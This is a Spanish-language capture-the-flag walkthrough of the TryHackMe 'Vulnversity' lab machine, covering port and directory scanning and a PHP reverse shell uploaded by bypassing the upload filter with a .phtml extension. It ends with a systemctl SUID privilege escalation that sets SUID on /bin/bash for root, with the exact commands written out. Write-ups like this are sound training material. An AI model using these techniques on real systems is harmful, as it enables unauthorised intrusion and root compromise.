TryHackMe – Vulnversity walkthrough

En esta entrada comenzaremos una serie en la cual vamos a estar resolviendo las máquinas del offensive path de la plataforma TryHackMe. Vamos a ver en este caso la máquina Vulnversity. Es una máquina sencilla y bastante introductoria para mostrarte las técnicas básicas. Haremos reconocimiento de servicios abiertos, búsqueda de directorios web, comprometeremos el servidor web y finalmente escalaremos privilegios.

Reconocimiento de puertos abiertos

Para esta fase haremos uso de nmap que nos proporcionará información de puertos abiertos, qué servicios corren en esos puertos y sus respectivas versiones.

nmap -sV -sC 10.10.123.75 -n -oN vulnversity.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-01 19:19 CET
Nmap scan report for 10.10.123.75
Host is up (0.043s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA)
|   256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA)
|_  256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Vuln University
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h19m58s, deviation: 2h18m33s, median: -1s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: vulnuniversity
|   NetBIOS computer name: VULNUNIVERSITY\x00
|   Domain name: \x00
|   FQDN: vulnuniversity
|_  System time: 2021-11-01T14:19:47-04:00
|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-11-01T18:19:47
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.27 seconds

Vemos que hay 6 puertos abiertos, que pertenecen a ssh, ftp, samba y http. La idea ahora es ir puerto por puerto enumerando y comprobando si hay vulnverabilidades en cada uno de ellos. En este caso no hay vulnerabilidades conocidas por versiones y procedemos a enumerar el servidor web en el puerto 3333.

En la página principal nos encontramos con un menú no funcional y poco interesante. Podemos ver presentaciones de 3 personas en las que nos proporcionan los nombres. Podrían ser útiles y es interesante anotar este tipo de información, aunque en este caso es irrelevante.

Búsqueda de directorios web

Para esta fase de reconocimiento haremos uso de la herramienta gobuster. Esta herramienta hace uso de fuerza bruta para mostrar qué archivos y/o directorios existen y si podemos acceder a ellos o, de lo contrario, no tenemos permiso.

Su uso es sencillo, le tenemos que indicar:

  • -dir: para indicarle que queremos enumerar directorios y archivos.
  • -u: para el url objetivo
  • -w: para seleccionar el diccionario
  • -t: para trabajar con hilos simultáneos y agilizar el proceso.
gobuster dir -u http://10.10.123.75:3333/ -w /usr/share/wordlists/dirb/common.txt -t 30
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.123.75:3333/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/01 19:50:28 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 293]
/.htpasswd            (Status: 403) [Size: 298]
/.htaccess            (Status: 403) [Size: 298]
/css                  (Status: 301) [Size: 317] [--> http://10.10.123.75:3333/css/]
/fonts                (Status: 301) [Size: 319] [--> http://10.10.123.75:3333/fonts/]
/images               (Status: 301) [Size: 320] [--> http://10.10.123.75:3333/images/]
/index.html           (Status: 200) [Size: 33014]                                     
/internal             (Status: 301) [Size: 322] [--> http://10.10.123.75:3333/internal/]
/js                   (Status: 301) [Size: 316] [--> http://10.10.123.75:3333/js/]      
/server-status        (Status: 403) [Size: 302]                                         
                                                                                        
===============================================================
2021/11/01 19:50:37 Finished
===============================================================

Si nos fijamos, el directorio internal nos llama la atención, así que vamos a ver qué nos encontramos ahí.

Nos encontramos con una subida de archivos. Hacemos una pequeña prueba para comprobar si podemos subir archivo .txt o .php pero ninguno de los dos es válido. Nuestro objetivo ahora es intentar subir algún archivo para obtener ejecución de código en la máquina. Volveremos a hacer uso de fuerza bruta para comprobar qué tipo de archivos nos permite subir.

Descubriendo extensiones válidas

Para este paso haremos uso de la herramienta Burp Suite. Nos permitirá interceptar la petición de subida de archivo para luego hacer fuerza bruta con diferentes extensiones. Primero de todo, haciendo uso de FoxyProxy y de Burp Suite, interceptaremos una subida de archivo con cualquier extensión.

Una vez interceptada, la enviaremos al intruder, luego nos dirigimos a positions y allí borraremos cualquier selección que haya por defecto para seleccionar nostros únicamente la extensión del archivo.

Posteriormente, pasamos a la pestaña de payloads donde será un payload de simple list y en el apartado payload options cargaremos un diccionario de extensiones. En este caso haremos uso del que nos trae kali en /usr/share/wordlists/dirb/extensions_common.txt.

En el diccionario las extensiones empiezan con el punto, por lo que deberemos desactivar el url-encode que nos encontramos al final de la página.

Finalmente, iniciaremos el ataque con el botón que encontramos arriba a la derecha de start attack. Analizando el resultado veremos que todas las respuestas tienen el mismo tamaño denegando la subida del archivo excepto una.

De acuerdo, la única extensión que nos permite subir es phtml. Podemos subir una reverse-shell en php con la extensión de phtml y así probar si tenemos ejecución de código. Para ello cogemos la típica reverse-shell de php que encontramos en /usr/share/webshells/php/php-reverse-shell.php de nuestro kali. Modificamos la IP y el puerto del archivo indicándole nuestra IP y el puerto que queramos ponernos a la escucha, modificamos la extensión a phtml y finalmente probamos de subir la reverse-shell obteniendo un «success».

Perfecto, hemos conseguido subir nuestro código al servidor, pero no nos ha mostrado en ningún momento dónde se aloja dicho archivo. Aquí podríamos probar típicos directorios como por ejemplo «uploads», pero si no, volveríamos a hacer uso de gobuster para la enumeración de directorios y daríamos con él.

Hemos encontrado nuestro archivo, queda ponerse a la escucha con netcat, acceder al archivo y recibir la shell.

Bien! Tenemos acceso a la máquina como www-data. Para conseguir una shell interactiva hay varias maneras, a mí me gusta la siguiente.

script /dev/null -c bash
export TERM=xterm
export SHELL=bash

Escalada de privilegios

Toca escalar privilegios, para ello hay varios scripts de enumeración como linenum o linpeas, que facilitarán la búsqueda de malas configuraciones o posibles vectores para la escalada. Si lo lanzáramos nos detectaría un archivo SUID que nos permitiría aprovechar los permisos y podríamos ejecutarlo como el propietario que en este caso es root. En este caso lo enumeramos manualmente con el comando find.

find / -perm -u=s -type f 2>/dev/null

En gtfobins se nos proporciona información de cómo poder abusar de systemctl con el SUID. Debemos crear un servicio vulnerable, después hacerle un link y finalmente habilitarlo para que ejecute el código que queramos, que en nuestro caso será habilitar el SUID a /bin/bash para que cuándo lancemos una bash la obtengamos como root.

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF

Con el código de arriba crearíamos el servicio vulnerable. Luego crearíamos el link y seguidamente lo habilitaríamos.

systemctl link $TF
systemctl enable --now $TF

Si lo hemos hecho todo correcto, /bin/bash estará ahora con el SUID activado y podremos lanzar /bin/bash para convertirnos en root.

Conclusión

Una buena máquina para practicar enumeración, en la que podemos trabajar con Burp Suite interceptando peticiones y haciendo fuerza bruta, gobuster en busca de directorios y también hacer uso de scripts de enumeración de linux en busca de malas configuraciones.

Óscar Montoya.